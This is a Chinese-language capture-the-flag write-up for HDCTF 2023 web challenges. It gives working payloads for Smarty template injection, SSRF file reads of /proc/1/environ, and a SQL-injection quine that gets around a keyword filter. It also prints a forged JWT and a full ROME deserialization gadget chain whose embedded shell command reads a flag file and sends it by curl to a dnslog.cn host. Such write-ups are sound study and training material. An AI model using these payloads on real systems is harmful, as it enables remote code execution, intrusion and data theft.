Welcome To HDCTF 2023

看源码找到game.js

找到这一串

放到控制台运行即可

SearchMaster

题目让post提交一个data

随便传一个在页面执行了

当传入{时他会报错，看报错信息发现

Smarty，猜测Smarty的ssti，数据发送到前端

用{if}标签即可

{if phpinfo()}{/if}

可以执行phpinfo()

直接命令执行即可

data=​{if system('cat /f*')}{/if}

YamiYami

三个链接，点read somethings之后看url

应该是ssrf尝试一下文件读取

?url=file:///etc/passwd

可以读，但不能读flag，尝试读环境变量

?url=file:///proc/1/environ

可以看到flag在环境变量中

LoginMaster

用dirsearch扫目录扫出

/robots.txt

function checkSql($s) 
{if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}
if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');

可以参考这个

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

JavaMonster

jwt

将admin改成Boogipop解出jwt传入cookie:a=1;b=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2ODIxNzcxMTgsImlhdCI6MTY4MjE2OTkxOCwidXNlcm5hbWUiOiJCb29naXBvcCJ9.1dfoUuPRgwflPRL8beAumUMOCVFIRCV4yAjXd18Syko

public static void main(String[] args) throws UnsupportedEncodingException {com.ctf.easyjava.utils.JwtUtil jwtUtil = new com.ctf.easyjava.utils.JwtUtil();User user = new User("Boogipop", "123");String token = jwtUtil.JwtCreate(user);System.out.println(token);System.out.println(jwtUtil.Jwttoken(token));
}

hashcode

USy to solve EasyJava的hash等于Try to solve EasyJava

rome二次反序列化

将结果带入dnslog

package com.ctf.easyjava;import com.ctf.easyjava.hdctf.HDCTF;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;import javax.xml.transform.Templates;
import java.util.HashMap;
import static com.ctf.easyjava.Tool.*;public class R_SignedObject {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("i");CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");ctClass.setSuperclass(superClass);CtConstructor constructor = ctClass.makeClassInitializer();constructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", \"cat /flag_is_is_here | while read line; do echo $line.4m7ytd.dnslog.cn | xargs curl; done\"});");byte[] bytes = ctClass.toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "Poria");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());HashMap table1 = getPayload(Templates.class, obj);HDCTF hdctf = new HDCTF(table1);HashMap table2 = getPayload(HDCTF.class, hdctf);
//run(table2, "debug", "object");}public static HashMap getPayload (Class clazz, Object payloadObj) throws Exception{EqualsBean bean = new EqualsBean(String.class, "r");HashMap map1 = new HashMap();HashMap map2 = new HashMap();map1.put("yy", bean);map1.put("zZ", payloadObj);map2.put("zZ", bean);map2.put("yy", payloadObj);HashMap table = new HashMap();table.put(map1, "1");table.put(map2, "2");setFieldValue(bean, "_beanClass", clazz);setFieldValue(bean, "_obj", payloadObj);return table;}
}